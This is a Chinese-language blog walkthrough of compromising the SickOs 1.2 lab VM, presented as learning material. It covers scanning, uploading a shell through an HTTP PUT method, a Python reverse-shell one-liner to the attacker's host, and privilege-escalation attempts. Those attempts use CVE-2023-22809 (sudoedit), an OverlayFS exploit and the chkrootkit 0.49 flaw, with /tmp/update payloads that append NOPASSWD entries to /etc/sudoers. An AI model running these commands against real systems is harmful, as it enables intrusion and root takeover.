SickOs-1.2靶机渗透

免责声明
重要提醒:本文档/文章仅限于合法的学习与研究目的,严禁用于任何非法、违规或损害他人权益的活动
本文档所有技术演示仅在本地虚拟机环境中进行,不涉及任何真实在线系统或商业游戏。作者不对任何读者因误用本文内容而引发的账号封禁、数据丢失、法律追责或其他后果承担任何责任。
如本文无意中涉及任何可被滥用的技术细节,纯属客观描述现有公开机制,不提供可执行方案,也不承担后续责任。
阅读/使用本文即表示您已完全理解并同意以上条款。如不同意,请立即停止阅读。


信息搜集

nmap -sn 10.144.45.0/24

nmap -sV -p- -T4 10.144.45.189

这次扫出来的端口是22和80,没有像之前一样的代理,那么直接访问80端口,但是看着没啥东西:

image

扫个目录,这里先用dirsearch,但是只扫出来一个test,访问之后感觉还是没啥东西,然后之前nmap扫出来一个lighttpd 1.4.28我想着是不是有可能是这个东西存在漏洞,网上搜了一下:

Lighttpd是一款高性能的开源Web服务器,专为处理速度和资源效率而设计,适合动态网站和资源有限的环境

但是这个版本下没有相关的漏洞可以利用,那就很奇怪了,扫目录就扫出来这么一个,其他啥也没有,难道是工具的问题?

然后我又换了两个工具,但是都没有别的,结果如图:

image

image

到这里我就没啥思路了,只能上nikto碰碰运气,但是好像还真有东西:

image

简单来说就是在test目录下的HTTP头可能存在漏洞,那么我们可以BP抓包进行尝试修改:

image

这里可以看到是允许PUT的,那么我们就可以尝试上传文件:

image


getshell

能成功上传,访问一下,执行命令看看行不行:

image

那还说啥了,直接python反弹:

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.144.45.177',443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

这里有一个问题是刚开始时我用的是4444端口,但是kali上并没有反应,造成这样的原因是
靶机防火墙只允许了特定端口(如443)的出站连接,除了通过执行python反弹shell来对端口进行探测外,还可以使用nmap的DNS递归探测

如果我们能在靶机上执行命令,可以用 Nmap 的一个小技巧来反向验证防火墙规则::

nmap -p 53 --dns-servers 10.144.45.177 scanme.nmap.org

这个命令的意思是:让靶机用 53 端口作为源去连接我们的 Kali,如果靶机防火墙禁止 53 端口出站,这个扫描就会失败。换成 -p 443 成功,就更证明了防火墙的策略(虽然这台靶机上面没有nmap...)

image


后渗透

sudoedit漏洞尝试

进去之后先搞个tty,sudo -l需要密码,SUID中里面有一个感觉有用的:

/usr/bin/sudoedit,但是尝试之后才发现这个最前面的sudo也算是需要密码的,然后还有一个关于sudoedit的CVE-2023-22809,当 sudo 版本在 1.8.0 到 1.9.12p1 之间时,即使 sudo -l 里没有任何配置,也可能被利用,但是这里面有一个关键限制是都需要密码才能执行响应漏洞,但是我们这里不知道密码所以就无法利用

但是既然碰到了还是具体讲一下这个漏洞吧:

核心思路:

利用 sudoedit 处理编辑器参数时的缺陷,骗过系统,让我们以 root 权限编辑一个本无权访问的文件,比如 /etc/sudoers

具体步骤

1.确认漏洞存在

  • 条件一:sudo版本在受影响范围内
    (虽然这里看不了)
sudo --version

如果版本号在 1.8.0 到 1.9.12p1 之间,说明软件本身存在漏洞

  • 条件二:当前用户拥有 sudoedit 的使用权限
sudo -l

#关注后续输出(这里也要密码,因此在不知道密码下漏洞无法利用
(root) NOPASSWD: sudoedit /etc/services
(root) /usr/bin/sudoedit /var/www/html/*

2.理解为什么要修改 EDITOR 环境变量

这是理解整个漏洞的关键。正常情况下,当我们执行 sudoedit /etc/services 时,系统会调用 EDITOR 环境变量里指定的编辑器(比如 vimnano)来打开这个文件。

漏洞就在于,sudoedit 没能正确处理编辑器命令后额外附加的参数。我们可以利用 -- 这个特殊符号,在编辑器命令后面“夹带私货”

  • -- 在大多数编辑器中,用于明确分隔“编辑器的选项”和“要打开的文件路径”。

举个例子,一个正常的编辑器调用是这样的:

#让 vim 打开 /etc/services 文件
vim -- /etc/services

漏洞利用思路如下:

# 我们想要 sudoedit 最终去编辑的文件是 /etc/sudoers
# 可以这样“欺骗” sudoedit:
export EDITOR="vim -- /etc/sudoers"
sudoedit /etc/services   # 名义上要编辑的文件

实际执行的命令变成了 vim -- /etc/sudoers /etc/services。对于 vim 来说,它会打开这两个文件,让我们都可以编辑。于是,就可以绕过限制,成功以 root 权限打开/etc/sudoers 文件。

这里可能有师傅有疑问之前SUID不是已经显示有root权限了吗,为什么还要设置一个/etc/sudoers,这是因为sudoedit 程序内部会检查 /etc/sudoers 配置,给一个伪代码:

// 伪代码
if (!user_has_permission_to_edit("/etc/sudoers")) {
    printf("Sorry, user %s is not allowed to edit '/etc/sudoers'\n", username);
    exit(1);
}

程序会先进行校验,如果我们直接进行编辑就会被阻止,而该漏洞就是利用拼接的命令把 /etc/sudoers 作为额外参数传递给 vimvim 作为子进程继承 root 权限,直接打开了 /etc/sudoers

3.执行攻击获取root权限

  1. 设置陷阱 (环境变量)
    我们将 EDITOR 环境变量设置为 vim 编辑器,并利用 -- 参数附加上我们真正想编辑的文件:/etc/sudoers
    export EDITOR="vim -- /etc/sudoers"
    

如果目标系统没有 vim,可以用 vinano 等任何编辑器替代。方法是通用的。

  1. 触发漏洞
    执行我们在 sudo -l 中看到的那个有权限编辑的命令。这里以 sudoedit /etc/services 为例:

    sudoedit /etc/services
    
    • 如果系统提示输入密码,请输入当前用户的密码

    • 如果一切顺利,我们会看到 vim(或你指定的编辑器)打开了 两个文件:一个是名义上的 /etc/services,另一个就是我们真正想动手脚的 /etc/sudoers

  2. 修改 /etc/sudoers 并提权

    现在我们已经以 root 权限打开了 /etc/sudoers 文件。在 vim 中输入:

    www-data ALL=(ALL:ALL) ALL
    
  3. 结尾

    最后就是输入命令直接提权:

    sudo -i
    

内核提权尝试

看了一下内核版本是linux3.11,对应的ubuntu版本是12.04, 搜了一下感觉有一个CVE-2015-1328可以用,但是wget传的时候不知道为什么连接不上:

image

于是后面传了一个新文件连了下蚁剑,从蚁剑中上传文件:

image

gcc 37292.c -o exp

chmod +x exp

./exp

但是失败了,又细看了一下exp:攻击者利用 OverlayFS 在复制文件时“只检查原文件所有者是否有权限,而不检查操作者是否有权限”的逻辑缺陷,最终获得 root 权限。

1. 核心漏洞:有缺陷的“复制-上移” (Copy-Up)

OverlayFS 是 Linux 的一种联合文件系统,它能把一个只读的目录(lowerdir)和一个可写的目录(upperdir)“合并”成一个新的目录(merged)。当我们尝试修改 merged 目录中一个来自只读层的文件时,OverlayFS 会执行一个叫 “复制-上移” (Copy-Up) 的操作,把这个文件从只读层复制到可写层进行修改

漏洞的关键在于 copy_up 过程中的权限检查。内核只检查了“这个文件本身的所属用户(通常是 root)是否有权限写入 upperdir 目录”,而**完全没有检查“当前执行复制操作的用户(普通用户)是否有这个权限”。同时,复制后的新文件会完美继承原文件的所有属性,包括所有者(root)和 SUID 权限

简单来说,它犯的错误就是:只看“文件同不同意”,不看“你同不同意”

2. 攻击路径:三步“偷”出一个 Root 文件

有了上面的漏洞,攻击者就可以三步偷出一个属于自己的、具有 root 所有权的文件。

  • 第一步:搭建“舞台”
    攻击者在自己的命名空间中,用 OverlayFS 将 /etc 目录(只读)挂载为一个新的可写视图

    • lowerdir (只读层): /etc

    • upperdir (可写层): /tmp/upper

  • 第二步:触发“复制”并“偷走”文件
    攻击者进入 merged 目录(刚才挂载的新视图),对 /etc/shadow 文件执行一个操作,比如 mv shadow copy_of_shadow。由于需要修改文件,OverlayFS 触发了 copy_up。根据漏洞,这个操作成功了——即便执行操作的是一个普通用户。现在,一个全新的、所有者是 root 的 /tmp/upper/copy_of_shadow 文件就诞生了

  • 第三步:用“偷来的”文件进攻
    现在攻击者手里有一个 root 所有的文件了。接下来,他们可以把这个文件“塞回”到系统的真实 /etc 目录下。比如,再构造一个 OverlayFS,把刚才保存文件的 upperdir 作为新的只读源,挂载到目标位置。最终,攻击者就可以在 /etc 下得到一个自己可控的 shadow 副本,利用这个文件进行权限提升。

3. 利用 /etc/ld.so.preload 完成提权

37292号漏洞的利用脚本正是基于这个原理,但它选了一个更巧妙的目标——/etc/ld.so.preload 文件。

  1. 目标选定/etc/ld.so.preload 是一个特殊的配置文件。如果它里面写了一个共享库的路径,那么系统上运行的每一个程序都会在启动时强制加载这个库

  2. 发动攻击:利用上面的“偷文件”三步走,攻击者成功地在 /etc 目录下创建了一个全局可写的 /etc/ld.so.preload 文件。这个文件本应只有 root 才能修改。

  3. 植入木马:攻击者将自己的恶意共享库路径写入这个文件中。

  4. 收获权限:当攻击者执行一个普通的、非 SUID 的命令(比如 su 或 passwd)时,它触发并加载了恶意库。这个库的代码通常只是简单地执行 setuid(0) 然后弹出一个 root 权限的 shell

后面才发现官方公告说明Ubuntu12.04版本不受这个漏洞影响....那么再试试脏牛呢(⊙o⊙)?

后面尝试了之后也是不行,靶机里面没有g++,编译c文件会炸机,所以这里内核提权也是无望了。


计划任务提权

在SickOs-1.1中有一种方法是通过计划任务提权的,那么这里是不是也可以进行呢,先看一眼:

ls -al /etc/cron.d

ls -al /etc/cron.daily

image

这里就可以看到在daily里面全都是以root身份运行的,其中有一个非常特别的进程,在应急响应中比较常见:chkrootkit

chkrootkit 是一个开源的 Rootkit 检测工具,用于扫描系统的多个部分,包括文件系统、进程和内核模块,以检查是否有 Rootkit 的迹象。它通过多种技术,如模式匹配和异常检测,帮助系统管理员快速识别和清除 Rootkit。chkrootkit 可以扫描系统的关键区域,包括进程、网络连接、文件和内核模块,并列出检测结果。如果发现可疑的 Rootkit,chkrootkit 会输出相关信息,帮助用户采取措施进行安全防护

看一下版本,注意这里需要绝对路径,然后V是大写的:

/usr/sbin/chkrootkit -V

chkrootkit version 0.49

网上搜了一下之后有一个相关漏洞,只要提权上传一个文件到tmp目录,管理员再次运行Chkrootkit后,即可获取root权限。这个漏洞的根源,是 chkrootkit 0.49 及更早版本在 slapper() 函数中犯了一个非常低级的代码编写错误,下面是有关代码:

slapper (){
   SLAPPER_FILES="${ROOTDIR}tmp/.bugtraq ${ROOTDIR}tmp/.bugtraq.c"
   SLAPPER_FILES="$SLAPPER_FILES ${ROOTDIR}tmp/.unlock ${ROOTDIR}tmp/httpd \
   ${ROOTDIR}tmp/update ${ROOTDIR}tmp/.cinik ${ROOTDIR}tmp/.b"a
   SLAPPER_PORT="0.0:2002 |0.0:4156 |0.0:1978 |0.0:1812 |0.0:2015 "
   OPT=-an
   STATUS=0
   file_port=

   if ${netstat} "${OPT}"|${egrep} "^tcp"|${egrep} "${SLAPPER_PORT}">
/dev/null 2>&1
      then
      STATUS=1
      [ "$SYSTEM" = "Linux" ] && file_port=`netstat -p ${OPT} | \
         $egrep ^tcp|$egrep "${SLAPPER_PORT}" | ${awk} '{ print  $7 }' |
tr -d :`
   fi
   for i in ${SLAPPER_FILES}; do
      if [ -f ${i} ]; then
         file_port=$file_port $i
         STATUS=1
      fi
   done
   if [ ${STATUS} -eq 1 ] ;then
      echo "Warning: Possible Slapper Worm installed ($file_port)"
   else
      if [ "${QUIET}" != "t" ]; then echo "not infected"; fi
         return ${NOT_INFECTED}
   fi
}

关键在这里:

file_port=$file_port $i

变量 $i 前后没有加双引号【正常来讲是要加双引号的,作为字符串】

根据 Linux Shell 的解析规则,这行代码的实际效果是:

  1. 先执行 $i 这个变量代表的命令

  2. 将执行结果赋值给变量 file_port

攻击链如下:

  1. 前提条件:系统将 /tmp 目录挂载为可执行(即挂载选项里没有 noexec)同时,系统通过 cron 定时任务等机制,定期以 root 权限运行 `chkrootkit

  2. 放置后门:攻击者在 /tmp 目录下创建一个名为 update 的可执行文件,内容可以是任何想要以 root 身份运行的恶意命令。例如:

    echo 'chmod 777 /etc/sudoers && echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers' > /tmp/update
    chmod +x /tmp/update
    
  3. 坐等触发:攻击者只需要等待。当下一次 cron 任务启动 chkrootkit 时:

    • chkrootkit 获得 root 权限。

    • 脚本运行到 slapper() 函数。

    • 函数检测到 /tmp/update 文件存在。

    • 漏洞代码 file_port=$file_port /tmp/update 被执行。

    • 恶意代码就以 root 的身份在系统上运行了

了解了这个之后就可以在/tmp目录下构造我们的恶意代码了,方便一点可以直接在蚁剑中编辑:

#! /bin/bash

echo "www-data ALL=NOPASSWD: ALL" >> /etc/sudoers

然后就能直接进行提权:

image

o( ̄▽ ̄)ブ


复盘

本次靶机的主要突破口就在于一个点上,导致了我刚开始误以为有其他隐藏的路径啥的,关键就是HTTP头的发现,如果不用漏扫软件的话几乎不可能发现,但是与现实矛盾的是如果现在在真实环境下使用漏扫软件的话基本上都是秒封的,所以还是得自己积累经验。

然后就是python反弹时端口的使用,要了解防火墙的相应配置,再后面便是getshell之后如何进行提权,还是自己多多尝试,不要仅局限于一个点。在拿下root之后我又在靶机上面想装一个g++,看看能不能进行脏牛提权,但是因为机器不出网因此下载不了,这也是大多数真实内网的现状。

最后的最后可能有师傅会问为什么看计划任务一眼就能看到那个chkrootkit,刚开始我也看不出来,这些计划任务就没认识几个,因此还是要自己一个个尝试,但因为这里面有一个“root"比较显眼,因此就先尝试这个。

总之还是不要局限于一个点,拓展眼界才是真正意义所在


纸上得来终觉浅,绝知此事要躬行

posted @ 2026-04-28 19:21  ShoreKiten  阅读(7)  评论(0)    收藏  举报